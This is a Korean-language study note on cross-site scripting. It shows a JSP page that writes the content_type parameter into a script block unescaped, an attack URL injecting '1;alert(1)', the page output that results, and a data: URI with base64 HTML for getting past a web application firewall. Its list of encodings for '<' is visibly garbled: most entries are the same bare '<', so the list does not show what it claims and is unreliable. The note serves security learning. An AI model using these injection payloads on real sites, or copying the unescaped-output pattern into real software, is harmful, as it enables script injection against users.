<script>var contentType = <%=Request.getParameter("content_type")%>;
var title = "<%=Encode.forJavaScript(request.getParameter("title"))%>";
...
</script>
공격 시 URL
공격자가 title 파라미터에 악성 스크립트를 삽입하여 링크를 공유
<ahref="/share?content_type=1&title=This is a regular title&content_type=1;alert(1)">Share</a>
공유 페이지에서 발생한 XSS
공유 페이지의 출력에서 content_type 값이 1;alert(1)로 되어 스크립트가 실행됨.
<script>var contentType = 1; alert(1);
var title = "This is a regular title";
...
</script>
문자 이스케이프 시퀀스
HTML과 JavaScript에서 문자 < 의 모든 가능한 조합이다.
이 중 대부분은 바로 렌더링되지 않지만, 특정 상황에서 렌더링 될 수 있는 것이 많다.
<
%3C
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
<
\x3c
\x3C
\u003c
\u003C
WAF 우회 방법
URI(Data URL Scheme)
data: 스키마는 브라우저에서 데이터를 직접 URL로 지정하여 처리할 수 있도록 하는 데이터 URI(Data URL Scheme)
data:[<MIME 유형>][;base64],<데이터>
<MIME 유형>: text/html → 브라우저가 HTML 문서로 해석하게 함.
base64: 데이터가 Base64로 인코딩되어 있음을 나타냄.
<데이터>: Base64로 인코딩된 HTML 또는 JavaScript 코드.
브라우저는 data: URL을 해석하여 text/html MIME 타입으로 실행.
Base64로 인코딩된 데이터를 디코딩하여 HTML 페이지로 렌더링.
<script>alert('XSS')</script>가 실행되며 **XSS(Alert 창 실행)**이 발생.